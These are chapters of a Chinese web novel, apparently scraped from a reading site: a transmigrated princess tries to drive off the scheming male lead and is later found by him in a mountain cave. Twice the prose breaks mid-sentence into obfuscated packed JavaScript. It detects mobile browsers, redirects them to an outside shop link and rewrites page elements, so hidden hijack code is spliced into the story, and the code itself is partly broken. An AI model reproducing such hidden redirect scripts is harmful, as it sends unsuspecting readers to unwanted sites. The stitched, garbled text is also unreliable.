屋门轻轻掩上,苏弱水露出一个笑,“刘叔,让你调查的事情有结果了吗?人接来了吗?” 刘飞摇头,“按照小公子说的地址,属下派人急赶去了南方,今日才堪堪来信,说虽然找到了宅子,但宅子里面的主人已经换了一批。听说是举家搬迁了,想要找到人,还需要费些时间。” 这其实是很后面的一段剧情了,陆泾川被北平王揭穿了身份。 北平王让暗卫暗中查到之前那家商户,然后将人带到了北平与陆泾川见面。 面对人证,陆泾川就算再巧舌如簧也没有办法洗脱自己骗子的身份。 可北平王并没有为难他,只说让他好好当北平王世子,让王妃高兴。 这位北平王一生只有一位妻子,房中也没有其他人,两人虽是政治联姻,但感情甚好。就算丢了世子,只剩下一位郡主,北平王也没有想要再找个女人生孩子,只是想着日后从宗族里面过继一个伶俐的孩子。 可他的女儿死在了回家的路上,分明一个月还收到她的来信,说寻到了弟弟。 北平王没把女儿已经死亡的消息告诉王妃,因为失去了自己的儿子,所以这位王妃已经得了疯病,他不知道女儿的死亡,会不会带来更严重的后果。 为了自家王妃,北平王决定让陆泾川代替苏锦书成为世子。也代替死去的苏弱水,替王妃尽孝。只可惜,陆泾川的出现并没有让这位王妃恢复正常,反而因为看不到女儿,所以这位王妃疯得更厉害了。 现在,为了自己的性命,苏弱水想提前进行这个剧情。 她要把陆泾川逼走。 如果是陆泾川自己走的,那天道就不能怪她了吧? 可没想到刘飞却告诉她没找到人。 难道是因为没走到那段剧情,所以刘飞才找不到人? 可她不能等了。 苏弱水蹙眉,想了整整三日,终于又想到一个办法。 陆泾川没见过那家商户。 “刘叔,帮我去寻一对夫妻来扮演那家拐了我弟弟的商户。” “郡主你这是……”刘飞不解。 “我总是不安心。”苏弱水垂目,她一摆这个姿势,就显出几分柔弱无措的姿态来,让人忍不住产生信任,“还是谨慎些好,您觉得呢?” 刘飞点头,“郡主说的是,我去准备。” - 刘飞动作很快,不过三日他便找到了人。 苏弱水将见面地点约在了一家茶楼里,听说这间茶楼是此处最好的饮茶地点。 茶楼一共五层,靠河,二楼开始设了露台一样的地方,上头摆着桌椅板凳,侧边还有泥炉子,跟现代前段时间比较流行的围炉煮茶很相似。 苏弱水畏冷,没有坐在外面。 她挑了一间安静的厢房。 这处厢房在一楼,也靠河。 她被刘飞推着轮椅进入厢房内,隔着一层竹帘,那一对夫妻已经坐在里面了。 “是南方人?”苏弱水面前摆着一张红木桌子,上面置着茶水,看飘散的白雾是热茶。 她端起茶盏轻抿一口。 所谓由俭入奢易,由奢入俭难。 虽然才来了小半年时间,但吃喝惯了好东西,这茶楼里面的茶水她还真喝不下去。 而且别说茶水了,就是这茶盏她拿着都觉得硌得慌,放到唇边就能感觉到釉面很是粗糙。 因为此事需要隐蔽,所以苏弱水这次只带了刘飞过来,这位也不是个细心的,看不出自家主子对茶水不满意。 无奈,苏弱水只得将茶盏放了回去。 对面二人尚未看到贵人容貌,只嗅到一股淡雅香气,再看竹帘下面露出的那一点斗篷边缘,一水无杂色的狐裘,还有那若隐若现绣着两颗斗大珍珠的绣花鞋。 “是,是南方人。”先敬罗衣后敬人,看到如此穿戴,二人知道竹帘之后的贵人身份尊贵,语气愈发恭谨。 苏弱水抬手,撩开竹帘一角。 她坐得略高,对面二人矮身跪在垫子上,竹帘掀起一点,便能看到二人容貌。 倒是与苏弱水想要的感觉相差不大。 原著中描述过那对夫妻的容貌,典型的南方人长相,女子眉眼细致,身段矮小,说话的时候嗓门却亮,显出一股市井泼妇感。男子也不高,四肢纤细,肚子却胖,气质乍一看略显文雅,实则透着一股商人的小精明。 苏弱水只略略给刘飞描述了一下,刘飞却将这事办得很好。 既然人找到了,那就该进行接下来的事情了。 长长几页纸,被送到两人面前。 她问,“识字吗?” 苏弱水有原身的记忆,她自己本身也学过书法,因此练了一段时间之后,就将这里的字学的差不多了,笔迹也跟原主一模一样。 昨日,苏弱水花费一天时间,将这些资料整理出来,然后在今日交给这对假夫妻。 “识字,识字。”两人点头。 “这些你们要熟背。” 上面是陆泾川所说的一些苏锦书小时候的事情。 苏弱水按照自己对原著的记忆又添加了一些,增加真实性。 “只要此事办好,价钱你们随便开。” 听闻贵人之言,两人的眼睛瞬间就亮了。 - 这几日,那位尊贵的郡主并没有唤他去“坐坐”。 陆泾川站在廊下,今日阴雨,细密的雨水斜斜落下,从空荡的美人靠上飘进来,轻轻铺在他脸上。 他抬手,薄薄的雨落到他指尖。 “小公子,郡主唤你过去。”王妈妈从二楼下来,笑盈盈地来到他面前。 陆泾川回以一个温柔笑意,然后跟着王妈妈往二楼去。 四月的天总是阴沉沉的,难得有日头。 轻薄的雨还不到打伞的地步,细密的雨珠黏在肌肤上,带着南方特有的黏腻潮湿感,肌肤上像糊了一层纸。 王妈妈双手推开门,屋内站着一对中年夫妻,刘飞站在一侧,朝他看过来。 陆泾川看到那对中年夫妻,目光一顿。 隔着一层珠帘,苏弱水坐在轮椅上,烧了两个炭盆的屋子暖烘烘的,女人身上却还盖着毯子,盖住一双不能活动的腿。 她素手挑开珍珠帘子,在陆泾川还没开口之前直接道:“可巧,刘叔出门上街,正遇到这对夫妻在寻自己失踪的儿子,刘叔一问才知道,竟正是那家商户。” 苏弱水挖了坑给陆泾川跳。 她知道陆泾川肯定不认识这两个人,便直接挑明身份。 陆泾川的视线隔着珠帘与苏弱水对上。 炭盆的热度灼烧了空气,苏弱水眼前恍惚出现晃动的暖痕,而在那暖痕之后,陆泾川的眼神陡然变得古怪。 苏弱水心尖一颤,本来心理素质就不佳她立刻放下了珠帘。 可即使是隔着晃动的珠帘,陆泾川的视线也没有从她身上移开。 “儿啊,你可让母亲好找!” “儿啊,快跟爹回去吧。” 那边的夫妻按照之前说好的流程已经开始发力。 陆泾川任凭两人拽着自己,身形跟着踉跄一下。 “儿啊,你这一走家里的事情都没有人做了,你弟弟整日里哭着喊着找你呢!”中年妇人嚎得起劲。 中年男子压低声音,“那玉佩呢?是不是被你偷了?家中的银子你是不是也带走了?” 陆泾川眸色轻动,他的视线略过眼神凶狠的中年男人,胳膊又被那中年女子背着人掐了数十下。 隔着珠帘,苏弱水喝着奶茶,长长的眼睫落下。 演得跟真的一样。 苏弱水小心翼翼移动眼神,悄悄看陆泾川。 少年自进屋后,始终未发一言,他低垂着头站在那里,屋内只剩下那对夫妻的哭嚎声。 苏弱水给的银子多,这对古代演员夫妻也演得给力。 终于,少年挣扎了一下,却被两人死死拽住。 他面色微白,嘴唇嗫嚅,“我……” 陆泾川的声音很轻,被这对夫妻的哭嚎声掩盖。 “先停一停。”苏弱水抬手,敲了敲珠帘。 珠帘晃动的幅度增大,那对夫妻跟听 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从前,她救助过一只流浪狗,因为使用过一次航空箱带它去宠物医院绝育,所以那只狗第二次看到航空箱的时候就会跑得无影无踪。 按照苏弱水对陆泾川人设的了解,这次她没有将他击垮,他定然已经起了疑心,就如同那看到航空箱的狗儿一样,不会再踏入航空箱第二次。 苏弱水现在有点咸鱼技穷。 “我有点累了。”她低声开口。 刘飞立刻拱手退了出来。 - 苏弱水想午歇一会,却怎么都睡不着。 她知道,失去了这次机会,短时间内她再也没有办法让人自动离开了。 只是苏弱水怎么想都想不出此次事件到底哪里出了纰漏。 直到第二日,她推开窗子,看到刘飞在院子里教陆泾川练武。 陆泾川日后是要成为战神的,天道将他身上的天赋拉到满格,刘飞对这位小公子亦是十分满意,再加上其“世子”身份的加持,更是教得尽心尽力。 少年还未长成,比起刘飞来说显得纤细许多,可他练武勤奋,一点都不矫情,一招一式都练得十分到位,身上热汗涔涔。 苏弱水不想看到他,正准备关上窗子,不想视线一瞥,落到刘飞腰间挂着的酒壶上。 酒壶? 苏弱水灵光一闪,立刻让王妈妈把刘飞叫了上来。 “刘叔,你最近时常吃酒?” 刘飞听到此话,立刻拱手,“属下虽嗜酒多年,但绝不会耽搁保护郡主的重任。” 苏弱水也知道刘飞嗜酒如命的原因。 刘飞是从战场上下来的人,身上多有隐疾,吃药已经不管用了,唯有喝酒的时候才能稍微缓解一下身体的疼痛。 “你近日里可有吃醉过?” 苏弱水此话一出,刘飞神色一顿。 刘飞酒量极好,这也就是为什么他会说虽嗜酒,但绝不会影响自己保护苏弱水。 “前几日,旧疾复发,吃了一坛醉生梦死,醉了半个时辰。” 刘飞旧疾犯时,时常痛苦难耐,只那一次,竟睡了过去。 “谁给你的?” “是……小公子。”说完,刘飞立刻皱眉,“郡主,我教小公子武艺,小公子知道我嗜酒,为报答我,便四处奔波为我寻酒,还会跟着大夫去山间寻草药为我治疗身上旧疾……” “我知道。”苏弱水打断刘飞的话,她安静看着面前的刘飞,眼神之中带着旁人都看不透的悲悯。 如果陆泾川不走,他们这一队人,包括她,王妈妈,刘飞,画屏等等,都会死。 可很明显,除了苏弱水,这些人对陆泾川的防备早已在他的精心筹谋下消失殆尽。 刘飞立刻跪地道:“属下愿受责罚。” 刘叔极少醉酒,看情况他根本就不记得自己醉酒后做了什么。 苏弱水猜测,在刘飞醉酒的那半个时辰里,陆泾川应该对他进行过诱哄,让他将那对假夫妻的消息透露给了他,才让陆泾川对那天的事应付自如。 刘飞是武将,没有苏弱水想得那么多,只认为苏弱水觉得自己嗜酒耽误了差事。 “算了,你下去吧。”苏弱水感觉更累了。 可刘飞并没有因为苏弱水放过了他而放过自己,听王妈妈说,刘飞自领了五十军棍。 听到这个消息的苏弱水再次叹息,却也没有多问,只让医士去替刘飞看病,然后又让他多休息几日,不必急着当值。可第二日,苏弱水一打开窗子,就看到了站在院子门口当值的刘飞。 5. 第 5 章 护卫兵找了一月有余,从三月找到四月底,终于得到一个消息。 那位神医会去梧桐山上采药。 梧桐山是一座距离驿站稍远的野山,山内藏着无数珍稀药材。 历来的神医都有古怪的规矩,比如这位神医,你想让他给你治病,就必须要你去找他。 因此,得了消息,苏弱水第一时间便派人收拾行装准备前往梧桐山。 陆泾川站在廊下,看着王妈妈将苏弱水抱下来,轻轻地放在马车里。 马车帘子挂起,露出里面奢华的锦绣装饰。女子伏在软垫上,因为身体虚弱,所以穿得比旁人更多些。白狐裘的大氅盖在她身上,将她整个笼罩住,只露出一张苍白的脸,更衬得那双眸子看向他时乌黑冷淡。 陆泾川看着她,冷不丁露出一个笑。 苏弱水蹙眉,纤细漂亮的眉打了一个结,像牵扯不开的云雾青黛。 她挥下马车帘子,少年的声音隔着帘子传进来。 “我在这里等郡主回来。” - 山间雾气笼罩下来,苏弱水与护卫兵们被困在了梧桐山里。 四周雾气弥漫,山内已经整整三日不见光。 穿不透的雾气,走不出的梧桐山,时不时的野兽袭击。 因为原身的剧情在小说中并不重要,所以对于原身如何医治好自己的腿这段描述被忽略了,导致苏弱水认为此次梧桐山之行会非常顺利。 众人的脸色都不好看,苏弱水颤抖着指尖吃了一口热茶,脸上难掩焦躁。 他们会被困死在这里。 她已经结束了拯救路边男主的剧情,她的死于小说剧情进展而言并没有太大影响。 如果非要说的话,可能只差那一封家书。 护卫兵分批出去寻找活路,可没有一队回来的,他们身边只剩下寥寥几人。 刘飞用匕首在树上刻下痕迹,他粗糙的指腹摩挲过树皮,仰头朝上望去,入目所及皆是浓稠白雾。 苏弱水靠在马车内,抬手拨开帘子望向外头。 冷气袭来,湿漉漉的凉。 山林野地,马车很难前行,幸好此次出发,他们已经提前轻装简行,等到了实在没有路的地方,苏弱水便只好舍弃马车,让人背着走了。 梧桐山并非极其难行的野山,反而因为其山内药材和猎物众多,所以时常有人进山。 进来的人多了,也就有了路。 听说梧桐山越深的地方药材越珍贵,苏弱水猜测那位神医估计就是奔着那深处去的。 只是他们现在还没到达深处,就已经被困住了。 山间的气候总是令人无法把握。 这白雾来的快,去的慢。 苏弱水伏在刘飞背上,看着眼前的光线越来越暗。 “郡主,我们先回去吧。” 今天看来也是走不出去了。 苏弱水颤着眼睫,声音也显得有些低落,“好。” 刘飞背着苏弱水回到之前抛下马车的地方,他们围起圈子,燃起火堆取暖。 刘飞站在树边,盯着上面的记号发呆。 苏弱水就着热好的水吃了一点糕点,没什么精神气。 众人神色蔫蔫,看起来很是疲惫。 “刘大人,这雾气什么时候会散?” 就算是入了夜,雾气也没有散去的趋势,反而将本就昏暗的梧桐山压得更加阴郁。 画屏心中不安,悄悄问刘飞。 刘飞摇头,“我也不知道。” 天色彻底暗下来,刘飞安排剩下的护卫兵轮班值守。 他拿着火把去附近巡逻。 苏弱水蜷缩在马车里睡觉,身上盖着厚重的被褥。山间昼夜温差大,苏弱水身子又弱,如此连续折腾几天,身形似乎又瘦了不少。 马车形成一个封闭空间,苏弱水和画屏,还有王妈妈三个人挤在里面倒也不算冷。 四周寂静下面,风声和雾更重,还能听到野兽的嚎叫声,远远的,穿过林木。 突然,外面传来骚乱,火把的影子从帘子前面飞速略过,恍惚间照亮了马车内部。 刘飞猛地一下揭开马车帘子,“郡主!狼来了!” 狼! 真的狼! 苏弱水的睡意瞬间消散,她浑身鸡皮疙瘩都起来了。 她曾经在动物园里看到过狼,那家动物园养得很不尽心,那只狼看起来瘦骨嶙峋,毛色粗糙,双眸无神,甚至产生了刻板反应,只知道绕着极其窄小的,光秃秃的院子转圈。 可属于兽类的气势还是展现了出来,虽瘦但高大的身影隔着玻璃门朝苏弱水看过来的时候,带着野兽的幽冷。 刘飞一把将苏弱水背到背上,然后领着王妈妈和画屏往前去。 剩下的护卫兵垫后。 狼嚎很近,断断续续,听得人头皮发麻。 一般来说,狼都不会单独行动。 不过他们运气不错,遇到的是一头老年孤狼。 奔逃间,苏弱水嗅到空气里似乎有一股淡淡的血腥气。 应该是不知道什么东西将那孤狼引了过来。 有惊无险,刘飞带着他们找到一处地势较高的山洞。 围聚在苏弱水身边的人只剩下刘叔和王妈妈,还有大丫鬟画屏。 刘飞拿着长剑在山洞内转了一圈,并未发现有什么危险之后,又举着火把走了出去。 那队护卫兵没有跟上来,不知道是被狼困住了,还是迷了路。 苏弱水猜测应该是迷路,身经百战的护卫兵不至于连一头孤狼都对付不了,除非后面还有狼群。 而刘飞急着把苏弱水带走也是怕后面还有狼群。 折腾一夜,天色微微亮,浓稠的雾气依旧没有消散的意思。 “我去找出路。”刘飞决定出发。 与其困在这里等死,不如再搏一搏。 雾气真的很浓,超过一米便看不真切那藏在里面的东西。 食物和水没有了。 林子里也多野兽,他们昨日才遭受孤狼袭击,丢失了几乎所有东西。 虽然刘飞在出发前替他们找到一个安全的山洞,但当夜幕降临,林中那些古怪的声音就全部都冒了出来,滋滋啦啦的舔舐着苏弱水脆弱的神经系统,让苏弱水觉得自己的神经衰弱更严重了。 好几日没有好好睡觉,她眼下青黑一片。 雾气未散,林子里的可见度依旧很低。 王妈妈起身,去附近找水源,可过了很长一段时间也没有回来。 “画屏。” “郡主……” 画屏面色潮红,看起来状态很不好。 她扶趴在不远处,低声咳嗽着。 苏弱水将腰间的药瓶扔给画屏,然后又解开身上的大氅,吃力地扔向她。 “郡主……奴婢……” 画屏开口想拒绝,可她说话的声音已经冷得发抖。 “披着吧,那药是我惯常用的,对发热有些效果。”苏弱水温声说完,双手环住自己。 好冷。 山洞内阴暗潮湿,大氅一褪,苏弱水就感觉自己的四肢被一股寒意笼罩。 那股寒意穿透布料和肌肤,直直地往她骨肉里钻。 画屏断断续续的咳嗽声成为这个洞穴内唯一的声音来源。 苏弱水闭上眼,嘴唇冻得发白。 画屏不敢靠近苏弱水,怕把发热的症状传给郡主,她用了药后将大氅紧紧裹在身上。 苏弱水断断续续地睡觉,根本睡不踏实,一点风吹草动都能让她惊醒。 林子马上又要暗下来了。 所有人都没有回来。 苏弱水转头朝画屏的方向看了一眼,她吃了药,那药有安眠的作用。画屏睡沉了,脸上浮着晕红之色,应该是还在发烧。 幸好,还有一个人陪着她。 疲惫感席卷而来,可苏弱水的神经却绷紧到了极限。 突然,她听到什么声音,朝着洞穴的方向而来。 因为四周太安静了,所以那个声音就显得很清晰。 “啪嗒、啪嗒、窸窸窣窣……” 苏弱水猛地一下睁开眼,完全一点睡意都没有了,她低声唤画屏。 “画屏,画屏……” 苏弱水虚弱颤抖的声音在洞穴内回荡。 画屏睡死了过去,根本听不见。 苏弱水抓起刘飞临走前留给她的匕首。 长剑、长枪、大刀这种东西她根本拿不起来。 匕首开了刃,冷白的匕身照出她惊惶的眸色。 有风从外灌入,吹起她凌乱的发丝,黑色的长发被简单扎起披散在肩头,身上,像一张黑网般裹住她纤瘦的身体。 终于,那个东西过来了。 林间最后一点光亮随着少年的进入而湮灭。 少年的脸隐在洞穴门口,显出一个优秀的轮廓线条。 苏弱水瞪大眼,看到出现在洞穴门口的陆泾川时,心里居然是松了一口气的。 她握着匕首的胳膊垂落,整个人强行吊起的精神气在这一刻猛然卸下。 “是你。”长久没有喝水,苏弱水的嗓子显得有些干哑。 “郡主。”少年唤她。 陆泾川穿了件方便的黑色劲装收腰短袄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595779|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下面是同色系缚裤。身上背着一个包袱,里面也不知道装着什么。一路上山,他身上衣物只是微脏,发丝沾着水雾,垂目看到苏弱水的模样,掩在暗处的唇角勾了勾,薄唇轻启,微不可闻。 “真狼狈啊。” “你说什么?” 少年敛起眸中暗色,笑着上前,又是那副乖巧模样,蹲在苏弱水身边,“我看到梧桐山起了雾,现在已经过了五日,没有一个人回驿站,我猜测可能是出事了。本来我找了本地的人想一起进山,可他们说雾气未退,不敢贸然进山。我担心郡主,便自己来了。” 苏弱水定定地看着面前的陆泾川,他从腰间解下水囊,拔开,送到苏弱水面前。 虽然很渴,但苏弱水没接。 “你怎么找到这里的?” 陆泾川举着水囊,脸上笑意更甚,嗓音柔软,听得人心尖发颤,恍若情人呢喃,“心里念着郡主,就这样找到了。” 是怕她死了,没有人带他回北平吧。 苏弱水抬手接过水囊,迫不及待喝了起来。 因为喝得太急,所以还被呛住了。 “咳咳咳……”女子苍白的面色因为咳嗽所以染上几许红晕,连带着眼睫处都沾染上生理性泪痕,那点光色顺着展开的眼尾往侧边晕开,像蝴蝶展开的脆弱翅膀。 少年突然朝她伸手,苏弱水下意识抬手,手中水囊甩到陆泾川脸上。 啪的一声,水囊落地,连带着苏弱水手腕上的佛珠都甩了出去,可见用了多大力气。 少年白皙的脸孔上多了一道红痕。 空气安静了一瞬,陆泾川抬手摸了摸脸,刚才撞击之时,牙齿磕到口腔内壁,能尝到甜腥的血气。 血的味道让陆泾川有些兴奋,差点装不住这副纯善皮囊。 他喉结滚动,将血水咽了下去,然后转身,摸到那串佛珠,捏在手里,擦干净了,放到苏弱水手边,才低声开口,“郡主这里,沾到了土。” 少年伸出手,点了点自己的眼尾。 “我自己来。”苏弱水抬手擦了擦脸。 期间,陆泾川看她一眼,然后又看她一眼。 苏弱水回视他,又不太敢多看。 她总是有些怕他。 陆泾川笑了一声。 这笑与他从前的笑不太一样,从前那笑像是一层覆在脸上的假面,做戏一般,可这次的笑却连带着眼底都生动了起来,涟漪荡漾,真将这副昳丽容貌的魅力拉到了顶峰,不知道的还以为是山间精怪现身了。 “你笑什么?”苏弱水瞪他。 陆泾川左右看了看,随手捡起地上被苏弱水扔掉的匕首。 苏弱水下意识无声吸了一口冷气,潮湿的冷气往肺部钻,惹得她肺管生疼,可眼前的少年却更令人觉得恐惧。 她往后躲了躲,却发现自己双腿瘫痪,如同被兽夹绞住的小兽一般,动弹不得,只剩下挣扎的份。 虽然山洞里还有一个画屏,但此女现在睡得跟死猪一样。 之前苏弱水借着身边人多壮胆,也知道陆泾川是个喜欢演戏的,不会轻易卸下这副纯善天真的少年皮囊,因此素来不怎么掩饰对他的厌恶。 当然,最重要的是她没有男主的天赋异禀,实在是演不来。她只要一看到陆泾川的脸,就想到自己的结局,那股怨怒之气就油然而生,虽无法下手杀人,但实在是想将人赶跑,她也是这样做的。 她是真的不喜欢他。 可惜,她的冷漠、背刺、阴阳怪气都没有让陆泾川退缩。 而她又是极了解陆泾川这个人设的。 他不是个有恩报恩,却是个有仇必报的人。 现在,她落到这个境地,按照男主睚眦必报的脾气……林黑风高夜,山洞里又只有他们两人,杀掉一个小小的背景板垫脚石,对于男主来说就是挥一挥匕首的事。 苏弱水睁大眼,一双杏眸被逼出泪,积聚在眼眶里,双手撑着身后石壁,想要逃,却因为双腿瘫痪,所以无法挪动。 少年的动作放得很慢,似乎是没有发现苏弱水惊惶的表情。也或许是早就发现了,觉得很有趣,才故意放缓了动作。 苏弱水听到自己如擂鼓般的心跳声,像是要从喉咙里蹦出来。她抖着唇,咬紧牙,有一种只要自己一张嘴,就会泄出尖叫的感觉。 突然,匕首被竖到苏弱水面前。 苏弱水呼吸一窒,双眸瞪到最大,凝聚在眼眶里的眼泪顺着面颊往下滑。 陆泾川看着她,黑色的袖子擦过匕身,沾着泥灰的匕身呈现出原本的光洁,也照出苏弱水那张混着眼泪的,脏兮兮的脸。 “郡主的脸像小花猫。” 6. 第 6 章 原来是用匕首给她当镜子。 苏弱水用水囊里的水沾湿了帕子擦脸,就着匕首将脸擦干净。 陆泾川蹲在她对面,手里举着匕首当她的人形架子。 她可没有要他这么干,是他自己想这么干的。 女人的眼睛泛着红肿的红,用帕子擦了以后更红了。 苏弱水天生一副清冷气质,只一双眸子生得圆润,额间一点红,像坠落凡尘的小菩萨一般。 如今小菩萨落难,散着裙裾坐在这脏兮兮的山洞里,哭得眼睛通红,少了几分冷淡,多了一份我见犹怜。 “好了。”苏弱水声音闷闷的。 很显然,连续几天的高压环境已经将她的精神拉扯到了极限。 陆泾川倒转匕首,将它放到苏弱水散开的裙裾上。 柔软丝绸料子,摸一摸都烫手的金贵。 陆泾川移开指尖,感觉指腹都被这绸缎割疼了。还有被水囊抽了一巴掌的脸,倒是不疼,只是有点痒。 外面的天已经完全黑了,为了避免夜晚野兽入侵,陆泾川将洞内的火堆烧得更旺了些。 火堆旺起来,苏弱水身上那股寒意也减轻了几分。 她呼出气,搓了搓僵硬的指尖,然后突然感觉不对劲。 她想解手。 “你帮我喊一下画屏。” “她睡了,郡主有什么事?” 陆泾川一边往火堆里扔枯树枝,一边偏头看她。 女人又蹙起眉。 她总喜欢对着他蹙眉,可这次却不太一样,不是那种明显的厌恶和不喜,夹杂着一些其他的东西。 “没事。”苏弱水咬唇,偏过了头。 忍一忍,等画屏醒了就好了。 苏弱水攥紧裙裾,开始数上面的刺绣。 一朵梅花、两朵梅花、三朵梅花……忍不住了。 苏弱水后悔刚才喝多了水。 她侧着头,没有看陆泾川,又是刚才那句话,嗓音有些颤抖,“帮我叫一下画屏。” 洞穴内很安静,火堆烧得噼里啪啦的,星火飞溅,吃了药的画屏一点动静都没有。 “画屏睡了,郡主有什么事?”少年蹲在火堆边,还是这句话,姿势也跟刚才如出一辙,微微偏头朝苏弱水转过来。 火光中,他的眉眼都被柔化了,望向苏弱水的眼神看起来无害极了,可苏弱水却觉得自己似乎从里面看到了极其细微的恶劣。 那丝情绪一闪而过,快的苏弱水抓不住。 她难以启齿,“帮我叫一下画屏。” 陆泾川盯着她看了一会,然后起身去唤画屏。 画屏迷迷糊糊睁开眼,眼皮都黏在一块了,支撑着身体刚刚坐起来,又力竭地躺了回去,嘴里还在嘟囔,“郡主,奴婢来,来了……” 这是烧得连起身的力气都没了。 没一会,正跟药劲拉扯的画屏又睡了过去,陆泾川喊了几声都没应,他也不去碰她,只是低低的又唤了几句。 画屏没有反应了,陆泾川抬头看向苏弱水,像是在等她说话。 山间冷冽的晚风往山洞里吹,刘飞临走前往门口堆了一些枯枝大石,勉强遮了大半寒风。 苏弱水的脸被吹得微微泛红,洞穴内只有陆泾川能帮她了。 她抓着裙裾,没有看陆泾川,发出蚊子一样的声音,“我要如厕。” 苏弱水不知道陆泾川听到没有,她只觉得身边安静了一会儿,然后听到了少年起身的声音。 火堆照出两人身影,少年纤瘦,影子细长的从上面落下来,罩在苏弱水身上。 苏弱水颤着眼睫,没有抬头。 之前她习惯了被王妈妈和画屏伺候如厕,因为大家都是女子,所以除了一开始的羞耻外,苏弱水适应得比较快,可陆泾川就不一样了,他是男的。 上辈子的苏弱水是个母胎单身,连单独跟男性吃顿饭的经历都没有,更别说单独相处了。 如果不是情势所迫,她是说不出这种话的。 “哦,如厕呀。”少年慢吞吞的声音自她头顶响起,没有什么起伏,可偏偏要重复一遍。 苏弱水只觉得自己气血上涌,她忍不住抬眸瞪了陆泾川一眼。 少年看到她的表情,竟突兀露出笑来。 陆泾川是极漂亮的,笑时,眼底像是开了一簇繁花,盖住了他眼底的阴冷之色。 少年双手撑膝,微微倾身,类似半蹲,高竖起的马尾落在左肩,那红色的发带也柔顺地垂落下来。 “郡主从来不对我笑,似是对我厌恶非常。” 少年也不带她去如厕,绕着发带假装单纯,悠悠闲闲地跟她说话。 苏弱水受人挟制,深吸一口气,说话的时候有点语气硬邦邦的,“没有。” “哦,是吗?”陆泾川直起身,半个身影落入黑暗中,余一只手搭在臂弯上,黑色的衣料,衬出其白皙的指骨,带着一股不近人情的冷意,嗓音却带着刻意伪装出来的温柔天真,“那我可以看到郡主对我笑吗?” 他知道她不喜欢他,他对她也没什么真情。 他性格狭隘,心眼子小,知道她厌恶他,偏要她对他笑。 女人裹在昂贵锦绣裙中的身形肉眼可见地颤抖了一下,随后,她缓慢抬头。 洞穴内只有一处火堆照亮,苏弱水的脸从暗处到明处,她极不情愿地抬起纤白的下颚,眼尾往上挑,她的唇色略淡,此刻被贝齿咬住,呈现出天然的粉,细看还有唇珠,勾勒出清晰的唇形,微微上翘,给这张脸增添了几分娇态。 她眼尾还带着微微的湿意,像是被逼急了,可又偏偏要笑。 苏弱水弯唇,露出一个笑。 她漂亮的杏仁眸颤抖着,额间一点红痣如露水洗过一般更显艳色。 女人的气质偏清冷,当她对着你笑时,会让你感觉你是最受偏爱的那一个。 明月高悬,独照你。 陆泾川黑色的瞳孔微不可见地收缩了一下,然后迅速恢复正常。 “郡主等我片刻。” 他一个人举着火把出去了。 苏弱水憋着一口气,没喊他。 陆泾川回来得很快。 他身上带着寒露,指尖微冷,像是洗了手。 少年皱眉盯着她缓了一会,然后终于动了。 他弯腰,看似纤细却覆着薄肌的胳膊从苏弱水腋下穿过,搭在她的腰上借力,另外一只手隔着裙裾摸到她的腿,将她横抱起来。 这是两人第一次亲密相处。 隔着衣料。 苏弱水能嗅到他身上的味道,那是一种草木香,混杂着淡淡的腥气,像是浇了血水的杂草。可看他的眼神,你却又能知道,他不是野草,而是凶兽。 宽大的裙裾罩在陆泾川胳膊上,他将人抱起,发现这位郡主很轻,腰很细,一掌握住大半,最重要的是,很僵硬。 视线往下,女人双手拽着他的衣襟,努力保持平衡,像是怕他把她摔了。 “郡主,你这样我没有办法走路,”少年的声音近在咫尺,几乎是贴着她的耳廓在说话。 苏弱水安静一瞬,缓慢松开手,搭住陆泾川的肩膀。 因为这个姿势,所以两个人靠得更近。 苏弱水的面颊贴在他微冷的衣料上,被他抱着出了洞穴。 洞穴外,有一处被清理出来的地方,插着一根火把。 “郡主能自己坐住吗?” “可以。” 苏弱水被放了下来。 简易的石块垒成一个如厕的地方,下面刨了一个小坑,旁边插着一个火把,不至于摸瞎。最重要的是,陆泾川还在一边替她滚了一块大石头用来做支撑,让她能用胳膊撑着身子挪上去。 还挺细心? 陆泾川走到不远处,捏着发带,似是在出神。 直到身后传来声音。 “好了。” 少年站在那里,背影被树影吞噬,过了一会,他转身,身下的影子在火把侧边缓慢拉长,最后他来到苏弱水面前,掏出水囊,让她净手。 冰冷的水流划过手掌,苏弱水粗粗冲了一下,然后也不嫌弃地直接拿自己的裙裾擦了擦。 反正都这么脏了。 塞好水囊,陆泾川弯腰将人抱起。 苏弱水照旧搭着他的肩膀。 外面风大,偶尔能听到古怪的声音。 “是不是有野兽在叫?” 苏弱水没有野外生存经验,唯一的经验来自某综艺节目,隔着屏幕看某外国探险家荒野生存。 对于苏弱水这种从小就生活在钢筋水泥世界里,甚至连麦子和韭菜都分不清的人来说,陆泾川就有经验多了。 他说,“是风。” 风卷过树梢,穿过叶子,发出呼啸,像极了野兽低嚎。 苏弱水抖着眼睫,努力抑制住自己往陆泾川怀里躲的欲望,只催促他快点带她回洞穴。 少年抱着人往前走。 想,真会使唤人。 - 回到洞穴内,陆泾川将火堆烧得更旺些。 苏弱水挽起袖子给自己抹药。 山间多蚊虫,她刚才只出去了一会,回来就感觉身上很痒。 “给你。”粗略地擦完自己,苏弱水将剩下的递给陆泾川。 少年眸色一顿,随即露出纯真笑容,“多谢郡主。”话罢,他抬手,抽走女人手里的药瓶。 苏弱水准备睡了。 这几日太过劳累,她的眼底泛着淡淡青色。 她躺在火堆边,瓷白的面孔被火焰熏得绯红。 洞内阴冷,照着火堆的一边身体是暖和的,另外一边却是冷的。 她的大氅还在画屏身上。 苏弱水用手搓了搓身体,闭上眼。 陆泾川蹲在火堆旁,手指捏着药瓶转动。半晌,他转头看她,女人背对着他,已经熟睡。 少年转过头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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靠着陆泾川的衣摆,苏弱水终于气喘吁吁地坐起来,她双手抱住自己的腿,没有什么章法地搓揉起来。 她力气小,不比王妈妈和画屏。 手法也很粗糙,毕竟有王妈妈和画屏在身边,她素来不用自己动手。 